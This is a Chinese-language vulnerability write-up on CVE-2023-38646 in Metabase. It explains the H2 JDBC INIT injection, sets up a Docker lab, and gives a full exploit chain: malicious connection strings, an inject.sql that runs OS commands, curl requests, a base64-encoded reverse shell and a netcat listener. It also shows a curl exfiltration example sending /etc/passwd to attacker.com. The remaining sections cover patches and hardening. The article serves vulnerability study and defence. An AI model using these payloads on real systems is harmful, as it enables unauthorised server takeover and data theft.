
1. 项目概述一次从零开始的Metabase高危漏洞深度剖析最近在梳理一些开源BI工具的安全状况Metabase这个项目自然绕不开。它凭借开箱即用的可视化能力和友好的界面成了很多企业内部数据看板的首选。但越是流行的开源组件其安全状况越值得深究。今天要拆解的这个CVE-2023-38646就是一个典型的高危远程代码执行漏洞。官方给出的CVSS评分高达9.8这意味着攻击者可以在未授权的情况下完全接管你的Metabase服务器。我花了些时间在完全隔离的测试环境里从漏洞原理分析、环境搭建到最终利用完整地走了一遍。这篇文章就是这次实战的详细记录我会把手把手的复现步骤、核心的利用原理以及过程中踩过的坑和总结的排查技巧毫无保留地分享出来。无论你是安全研究人员想深入理解这个漏洞还是运维人员想评估自家系统的风险甚至是开发同学想学习如何避免写出类似的漏洞代码相信都能从中找到有价值的内容。2. 漏洞核心原理与影响范围深度解析2.1 漏洞的根源H2数据库连接字符串的滥用CVE-2023-38646的本质是一个由H2数据库连接字符串参数注入导致的预身份验证远程代码执行漏洞。要理解它我们得先看看Metabase的一个功能特性它支持多种数据库作为数据源其中就包括H2。H2是一个用Java编写的内存数据库它有一个非常“强大”也极其危险的功能在JDBC连接URL中可以通过;INIT参数来执行任意的SQL语句。正常情况下当用户在Metabase界面添加一个H2数据源时会填写JDBC连接字符串比如jdbc:h2:mem:test。问题出在Metabase在解析和处理这个连接字符串时没有对用户输入进行充分的过滤和校验。攻击者可以构造一个恶意的连接字符串在其中嵌入;INIT参数并在该参数中执行能调用Java方法的SQL。H2数据库的SQL引擎支持CREATE ALIAS语句这个语句本意是让用户创建自定义的SQL函数其背后可以调用Java静态方法。这就为攻击者打开了一扇门。通过精心构造的CREATE ALIAS攻击者可以创建一个别名函数其实现指向java.lang.Runtime.getRuntime().exec()从而能够执行系统命令。注意这里的关键在于“预身份验证”。这意味着攻击者不需要登录Metabase甚至不需要知道任何有效的账号密码就可以直接向特定的API端点发送恶意请求触发漏洞。这使得漏洞的威胁等级急剧升高。2.2 影响版本与攻击路径根据官方公告这个漏洞影响Metabase开源版和企业版。受影响的版本范围很广具体包括Metabase 版本 0.46.6.1Metabase 版本 1.0.0 但 1.46.6.1Metabase 版本 1.47.0 但 1.47.0.2攻击路径非常清晰。Metabase提供了一个用于设置数据库的API端点/api/setup/validate。这个端点本意是在初始安装向导中验证用户配置的数据库连接是否有效。然而即使在Metabase已经完成初始设置后这个端点依然可以被访问。攻击者只需要向这个端点发送一个特制的HTTP POST请求在请求体中包含恶意的H2数据库连接字符串即可触发漏洞执行任意命令。2.3 漏洞利用的完整逻辑链我们可以把整个利用过程串联起来看入口点攻击者找到未修复的Metabase实例通常通过扫描/api/health等端点确认。请求构造向/api/setup/validate发送POST请求伪装成一个数据库连接测试。载荷注入在请求体的connectionString字段中放入恶意的H2 JDBC URL。这个URL不仅指定了数据库位置更关键的是通过;INIT参数夹带了恶意SQL。恶意SQL执行H2数据库引擎在处理连接时会执行INIT参数中的SQL语句。攻击者的SQL会创建一个名为EXEC的别名函数将其绑定到java.lang.Runtime.getRuntime().exec()方法。命令执行随后攻击者可以通过调用这个刚刚创建的EXEC函数例如执行SELECT EXEC(touch /tmp/pwned)来执行任意系统命令从而实现远程代码执行。整个链条利用了Metabase功能设计上的缺陷未授权可访问的验证端点和依赖组件H2的危险特性组合成了一个杀伤力极强的RCE漏洞。3. 漏洞复现环境搭建与配置3.1 靶机环境准备为了安全且清晰地复现我们必须在隔离的环境中进行。我推荐使用Docker这是最快捷、最干净的方式。首先我们拉取一个存在漏洞的Metabase版本。这里我们选择metabase/metabase:v0.46.6这个版本刚好在受影响范围内且比较稳定。# 拉取有漏洞的Metabase镜像 docker pull metabase/metabase:v0.46.6 # 运行Metabase容器 # -d 代表后台运行 # -p 3000:3000 将容器的3000端口映射到宿主机的3000端口 # --name metabase-vuln 给容器起个名字方便管理 docker run -d -p 3000:3000 --name metabase-vuln metabase/metabase:v0.46.6执行完上述命令后等待一两分钟让Metabase完成初始化。然后在浏览器中访问http://你的宿主机IP:3000。你会看到Metabase的初始设置页面这说明服务已经正常启动了。注意我们不需要完成这个设置向导漏洞利用不需要Metabase处于已配置状态。3.2 攻击机环境与工具准备攻击机可以是你的物理机也可以是同一个网络下的另一台虚拟机。我们需要准备两样东西一个能发送HTTP请求的工具以及一个接收命令执行结果的监听器。对于HTTP请求用curl命令行工具就足够了它足够灵活和直观。对于监听器由于我们后续要尝试反弹Shell所以需要用到netcatnc。确保你的攻击机上安装了这些工具# 在Ubuntu/Debian上安装 sudo apt update sudo apt install curl netcat-traditional -y # 在CentOS/RHEL上安装 sudo yum install curl nc -y此外我强烈建议准备一个Burp Suite或者一个简单的Python HTTP客户端脚本。在调试复杂的PoC时图形化界面或脚本能更方便地修改和重放请求。这里我提供一个简单的Python脚本示例后续可以作为我们的攻击脚本基础#!/usr/bin/env python3 import requests import json import sys def exploit(target_url, command): headers {Content-Type: application/json} # 这里是恶意连接字符串的模板{command}需要被替换 payload_template { connectionString: jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT3;INITRUNSCRIPT FROM http://127.0.0.1:8080/inject.sql\\;, details: {} } # 在实际利用中我们需要动态生成包含命令的SQL文件这里先留空 print([*] 漏洞利用载荷尚未完全构造请参考下文) # ... 后续补充完整利用代码 if __name__ __main__: if len(sys.argv) ! 3: print(f用法: {sys.argv[0]} 目标URL 要执行的命令) sys.exit(1) exploit(sys.argv[1], sys.argv[2])3.3 网络与权限考量在复现前有几点必须明确隔离网络确保你的靶机Docker容器运行在隔离的网络环境比如不连接公网的虚拟机或内部网络。绝对不要在连接互联网的服务器上运行有漏洞的容器。容器权限默认的Docker容器以非root用户运行但权限仍然较高。漏洞成功利用后执行的命令权限即Metabase进程的权限通常是默认的metabase用户。这意味着你可以读写容器内的许多文件。宿主机影响由于Docker的隔离性在容器内执行命令一般不会直接影响宿主机除非挂载了敏感目录或使用了--privileged特权模式。但我们的复现目的是理解漏洞所以容器环境已经足够。4. 漏洞利用PoC的完整构造与分步详解理解了原理搭建好了环境现在进入最核心的部分手把手构造利用这个漏洞的完整攻击链。我们将分步骤拆解让你看清楚每一个环节。4.1 第一步探测与确认漏洞存在在发动攻击前先确认目标是否存活且是Metabase。一个简单的健康检查端点可以帮助我们curl -s http://192.168.1.100:3000/api/health如果返回包含status:ok的JSON则说明Metabase服务正常。更直接的漏洞存在性探测是尝试触发漏洞但执行一个无害的命令比如whoami或者sleep 5。通过观察响应时间或间接反馈来判断。但更通用的方法是利用一个不会真正执行、但能暴露漏洞参数的载荷进行试探。不过对于这个漏洞由于是利用H2的INIT参数直接发送一个语法错误的恶意连接字符串观察错误响应也是一种方式。如果返回的错误信息与H2数据库相关则高度可疑。4.2 第二步构造恶意的H2连接字符串这是整个PoC的灵魂。我们需要构造一个连接字符串使其INIT参数能执行创建恶意别名函数的SQL。一个经过简化的恶意连接字符串示例如下jdbc:h2:mem:test;MODEMSSQLServer;TRACE_LEVEL_SYSTEM_OUT3;INITCREATE ALIAS EXEC AS String exec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return \success\; }\\;我们来拆解这个字符串jdbc:h2:mem:test标准的H2内存数据库连接格式。MODEMSSQLServer设置H2的兼容模式有时有助于绕过一些SQL语法限制。TRACE_LEVEL_SYSTEM_OUT3设置H2的日志级别在调试时有用实际攻击中可以不要。INIT...关键部分。这里定义了一个名为EXEC的别名ALIAS其实现是一个Java方法。该方法接收一个字符串参数cmd然后调用Runtime.getRuntime().exec(cmd)来执行它最后返回一个字符串“success”。注意末尾的\\;。在JSON中分号需要转义。当这个字符串被放入JSON的connectionString字段时实际传输的是\;H2驱动程序会将其解析为一个单独的分号用于分隔INIT参数值中的多个SQL语句虽然这里只有一条。然而直接将复杂的Java代码内嵌在连接字符串里可能会遇到URL编码、字符串转义等问题导致语法错误。在实际利用中更可靠的方法是让INIT参数从远程服务器加载一个SQL脚本文件。4.3 第三步利用RUNSCRIPT FROM进行远程脚本加载H2的INIT参数支持RUNSCRIPT FROM子句可以从本地文件或HTTP/HTTPS URL加载并执行SQL脚本。这给我们提供了更大的灵活性。我们可以将创建恶意别名函数的SQL语句写在一个文件里比如inject.sql内容如下CREATE ALIAS EXEC AS $$ String exec(String cmd) throws java.io.IOException { return new java.util.Scanner(new java.lang.ProcessBuilder(/bin/sh, -c, cmd).start().getInputStream()).useDelimiter(\\\\A).next(); } $$;这个版本比之前的更完善它创建了一个EXEC函数执行命令后还会读取命令的输出并返回。这样我们就能看到命令执行的结果了。然后我们在攻击机上启动一个简单的HTTP服务器托管这个inject.sql文件# 在存放inject.sql的目录下执行 python3 -m http.server 8080接着构造的连接字符串就变成了jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT3;INITRUNSCRIPT FROM http://攻击机IP:8080/inject.sql\\;这样当Metabase尝试连接这个H2数据库时H2驱动会从我们的HTTP服务器下载并执行inject.sql从而在H2数据库的内存会话中创建好恶意的EXEC函数。4.4 第四步组装最终的HTTP请求现在我们将恶意的连接字符串放入完整的HTTP请求中。请求目标是Metabase的/api/setup/validate端点。使用curl发送请求的示例如下curl -i -s -k -X POST \ -H Content-Type: application/json \ --data-binary ${ \connectionString\: \jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT3;INITRUNSCRIPT FROM \\http://192.168.1.50:8080/inject.sql\\\\;\, \details\: {} } \ http://192.168.1.100:3000/api/setup/validate重要提示上面的命令在Bash中可能因为嵌套引号而变得复杂。在实际操作中我强烈建议将JSON载荷保存到一个文件比如payload.json中然后使用curl --data payload.json的方式发送这样更容易管理和调试。payload.json内容示例{ connectionString: jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT3;INITRUNSCRIPT FROM http://192.168.1.50:8080/inject.sql;, details: {} }发送这个请求后如果漏洞存在且我们的SQL脚本无误Metabase的H2驱动就会从我们的HTTP服务器拉取脚本并执行在内存中创建EXEC函数。但是这个验证接口的响应可能只是简单的成功或失败它不会返回命令执行的结果。我们只是完成了“武器”的部署。4.5 第五步触发命令执行与结果获取创建了函数我们还需要调用它来执行命令。这里需要一个“二次触发”的步骤。一种方法是利用H2数据库支持执行查询的特性但通过原有的/api/setup/validate端点可能无法直接执行任意查询。更常见的利用链是在INIT脚本中不仅创建函数还直接调用函数执行命令。我们可以修改inject.sql使其在创建函数后立即执行一个命令CREATE ALIAS EXEC AS $$ String exec(String cmd) throws java.io.IOException { return new java.util.Scanner(new java.lang.ProcessBuilder(/bin/sh, -c, cmd).start().getInputStream()).useDelimiter(\\\\A).next(); } $$; CALL EXEC(id /tmp/exploit_test);这样当RUNSCRIPT执行这个SQL文件时它会先创建EXEC函数然后立即调用EXEC(id /tmp/exploit_test)将id命令的结果输出到容器内的/tmp/exploit_test文件中。但是我们如何读取这个文件呢这又需要另一个漏洞或方式。在真实的攻击中攻击者可能会执行反弹Shell的命令将命令执行结果直接发送到攻击机监听端口从而绕过输出读取的限制。一个典型的反弹Shell命令是/bin/bash -c bash -i /dev/tcp/192.168.1.50/4444 01我们需要将这个命令进行URL编码并嵌入到SQL的CALL EXEC(...)语句中。最终一个能够实现反弹Shell的完整inject.sql可能如下所示需要根据情况调整编码和语法CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] cmds {/bin/sh, -c, cmd}; java.lang.Process p new java.lang.ProcessBuilder(cmds).start(); new java.lang.Thread(() - { try(java.io.InputStream is p.getInputStream(); java.io.InputStream es p.getErrorStream()) { // 简单执行不处理输出输出会通过反弹Shell发送 } catch(Exception e) {} }).start(); return ; } $$; CALL SHELLEXEC(bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i});上面这个例子使用了Base64编码的命令来避免特殊字符问题。其中YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuNTAvNDQ0NCAwPiYx解码后就是bash -i /dev/tcp/192.168.1.50/4444 01。在攻击机上我们需要提前用netcat监听4444端口nc -lvnp 4444当包含上述SQL的恶意请求发送到Metabase后如果成功我们将在netcat监听端口中获得一个反向Shell。5. 实战复现过程全记录与问题排查理论说再多不如动手做一遍。下面是我在测试环境中的完整复现流程和遇到的实际问题。5.1 复现步骤实录启动靶机与环境检查docker run -d -p 3000:3000 --name mb-vuln metabase/metabase:v0.46.6 sleep 90 # 等待Metabase完全启动时间可能因机器性能而异 curl http://localhost:3000/api/health # 确认返回{status:ok}准备攻击载荷 在攻击机IP: 192.168.1.50上创建inject.sql文件内容采用上面提到的反弹Shell版本注意替换IP为攻击机IP并重新编码命令。 在同一目录下启动HTTP服务器python3 -m http.server 8080。 在另一个终端启动Netcat监听nc -lvnp 4444。构造并发送漏洞利用请求 创建payload.json文件内容如下注意替换192.168.1.50为你的攻击机IP{ connectionString: jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT3;INITRUNSCRIPT FROM http://192.168.1.50:8080/inject.sql;, details: {} }使用curl发送请求curl -v -X POST http://192.168.1.100:3000/api/setup/validate \ -H Content-Type: application/json \ --data payload.json观察结果观察运行Python HTTP服务器的终端应该能看到一条GET请求记录请求/inject.sql文件状态码为200。观察Netcat监听终端。如果漏洞利用成功几秒后你应该会看到一个来自Metabase容器IP的连接并获得一个Shell提示符可能是metabase容器ID:/$。在获得的Shell中尝试执行id、whoami、pwd等命令验证权限。5.2 常见问题与排查技巧实录在实际操作中几乎不可能一次成功。下面是我遇到的一些典型问题及解决方法问题1HTTP服务器没有收到请求。可能原因Metabase容器无法访问攻击机的HTTP服务网络隔离、防火墙。排查确保攻击机和靶机Docker宿主机在同一个网络。如果是虚拟机检查网络设置桥接/NAT。可以在Metabase容器内尝试curl http://攻击机IP:8080需要进入容器执行来测试连通性。解决调整网络设置或者将攻击载荷托管在一个Metabase容器能访问到的地址。问题2收到HTTP请求但Netcat没有收到反弹Shell连接。可能原因1inject.sql中的命令执行失败。可能是命令语法错误、编码问题或者容器内没有/bin/bash。排查简化命令。先在inject.sql中尝试执行一个简单的命令如CALL EXEC(touch /tmp/test_success)然后进入容器查看文件是否创建。docker exec -it mb-vuln ls -la /tmp/可能原因2反弹Shell命令被容器或系统防火墙拦截。排查尝试使用其他命令验证代码执行是否成功比如ping命令如果容器有网络或者写入一个文件。也可以尝试换用其他端口。解决确保命令语法正确。对于反弹Shell可以尝试使用不同写法如使用nc、python、php等。确认容器内存在所需的解释器which bash,which python3。问题3请求返回400或500错误。可能原因JSON格式错误、连接字符串格式错误、SQL语法错误。排查仔细检查payload.json的JSON格式确保引号、转义正确。使用jq . payload.json命令验证JSON有效性。简化连接字符串先尝试一个最简单的合法H2连接字符串如jdbc:h2:mem:test是否能通过验证。解决分步调试。先发送一个合法的测试连接确认端点可用。然后逐步添加INIT参数每次添加后测试。问题4漏洞利用成功但命令执行没效果。可能原因Java的Runtime.exec()执行命令的环境和路径问题。它可能不会调用Shell因此像重定向、|管道、后台执行等Shell操作符会失效。解决这就是为什么我们在PoC中要使用/bin/sh -c “command”的形式。-c参数让Shell来解释整个命令字符串这样重定向和管道才能工作。确保你的命令是作为一个字符串参数传递给sh -c。问题5如何获取命令执行的回显难点通过/api/setup/validate端点我们很难直接拿到SQL语句执行即命令执行后的标准输出。技巧除了反弹Shell还可以尝试将命令输出写入一个Web可访问的文件。例如Metabase可能有一些静态文件目录。可以尝试将输出写入/app/metabase/plugins或/app/metabase/resources等目录下的某个文件然后通过HTTP直接访问。但这需要知道Web根路径并且有写入权限。更通用的方法使用DNS外带或HTTP外带技术。执行一个能触发网络请求的命令将命令结果作为域名或URL的一部分发送到攻击机控制的服务器。例如CALL EXEC(curl http://attacker.com/cat /etc/passwd | base64)需要处理编码。这需要攻击机有一个能接收请求并记录日志的服务器。实操心得漏洞复现尤其是RCE很少能“一键搞定”。最考验人的不是运行PoC而是当PoC不work时的调试能力。一定要有分步验证的思路网络通不通服务在不在请求格式对不对代码执行触发了没命令本身有没有问题输出能不能拿到一层层剥开问题自然就找到了。6. 漏洞修复方案与安全加固建议复现漏洞是为了更好地防御。对于Metabase管理员和安全人员来说了解如何修复和防范此类漏洞至关重要。6.1 官方修复方案Metabase官方在漏洞披露后迅速发布了安全更新。修复方案主要包含以下几点升级到安全版本这是最根本、最有效的措施。对于 v0.46.x 系列升级到 v0.46.6.1 或更高。对于 v1.46.x 系列升级到 v1.46.6.1 或更高。对于 v1.47.x 系列升级到 v1.47.0.2 或更高。 升级前请务必阅读官方发布说明并做好数据备份。补丁核心逻辑官方修复的核心在于对/api/setup/validate端点进行了加固访问控制在Metabase完成初始设置后彻底禁用或严格限制对此端点的访问。即使未完全禁用也增加了更强的权限校验。输入验证加强了对connectionString参数的验证和过滤特别是对H2数据库连接字符串中危险参数如INIT、RUNSCRIPT的检测和拒绝。6.2 临时缓解措施如果因为某些原因无法立即升级可以考虑以下临时缓解措施但这些措施不能替代升级网络层隔离将Metabase部署在内网严格限制外部访问。通过防火墙或安全组策略只允许特定的IP地址或IP段访问Metabase的端口默认3000。使用反向代理如Nginx、Apache前置并配置严格的访问控制列表ACL。应用层防护Web应用防火墙部署WAF并更新规则集以拦截针对/api/setup/validate端点的恶意POST请求以及包含;INITRUNSCRIPT等特征的攻击载荷。请求过滤在反向代理层面尝试拦截或重写对/api/setup/validate的POST请求。运行时环境加固最小权限原则运行Metabase的进程如Docker容器内的用户应使用非root、低权限的用户。确保该用户对文件系统只有必要的最小写入权限。容器安全如果使用Docker避免使用--privileged特权模式运行容器。使用只读根文件系统--read-only或仅挂载必要的可写卷。6.3 长期安全建设建议对于使用Metabase或其他类似开源组件的企业应该建立更系统的安全流程供应链安全订阅安全公告关注Metabase官方GitHub仓库的Security Advisories以及国家漏洞库如CNVD、CNNVD和通用漏洞披露平台如CVE。依赖项扫描使用软件成分分析工具定期扫描项目中的第三方依赖包括Docker镜像及时发现已知漏洞。版本管理策略制定清晰的软件版本更新策略对安全更新设置较高的优先级。纵深防御非必要不公开像Metabase这类后台管理系统原则上不应直接暴露在公网。应通过VPN或零信任网络网关进行访问。定期安全评估对线上系统进行定期的漏洞扫描和渗透测试特别是对外网暴露的服务。日志与监控启用并集中收集Metabase的应用程序日志、容器日志和系统日志。设置告警规则监控对敏感接口如/api/setup/*的异常访问。安全开发意识这个漏洞的根源在于对用户输入连接字符串的信任。开发人员在编写代码时必须对所有外部输入进行严格的校验、过滤和转义特别是当这些输入会传递给底层解释器或引擎如数据库驱动时。应采用“默认拒绝”的策略只允许明确安全的字符和模式。7. 从CVE-2023-38646看开源组件安全折腾完这个漏洞的复现我停下来想了很久。这不仅仅是一个漏洞的利用过程更像是一个关于现代软件供应链安全的微型标本。Metabase本身是个很棒的工具但它依赖的H2数据库的一个特性在特定上下文里变成了致命的武器。这给我们所有技术人提了几个醒第一没有“无害”的默认配置。H2的INIT参数功能强大用于初始化数据库很方便但Metabase在暴露这个参数给用户时没有考虑到未授权访问的场景。很多漏洞都源于这种“功能在错误上下文中被触发”。我们在设计系统时是不是也经常为了方便留下了类似的“后门”比如一个本应内网调用的管理接口因为测试需要临时开了公网访问后来就忘了关。第二依赖管理是安全的重灾区。我们每天都在docker pull、npm install、pip install但有多少人真的去仔细审查过这些依赖项的安全历史和配置这个漏洞的PoC之所以有效是因为攻击者深刻理解了H2 JDBC URL的语法。作为使用者我们对自己项目里直接和间接依赖的组件了解到底有多少定期更新依赖不仅仅是追新功能更是堵安全漏洞。第三漏洞复现的价值远不止于“攻击”。对我而言一步步复现这个漏洞最大的收获不是学会了怎么打穿一个Metabase而是彻底看清楚了从用户输入到系统命令执行的完整链条。这比读十篇漏洞分析报告都管用。下次我在写代码处理外部输入、拼接字符串去调用外部服务时脑子里一定会响起警报。这种“攻击者视角”的训练是提升防御能力最有效的方法之一。最后分享一个我自己的习惯对于任何要部署到生产环境的开源软件尤其是带有Web界面的在拉取镜像或安装包之后第一件事不是急着运行而是花十分钟看看它的官方文档里“Security”章节以及GitHub仓库的“Security”策略和已关闭的issue。很多时候安全就在这些不起眼的细节里。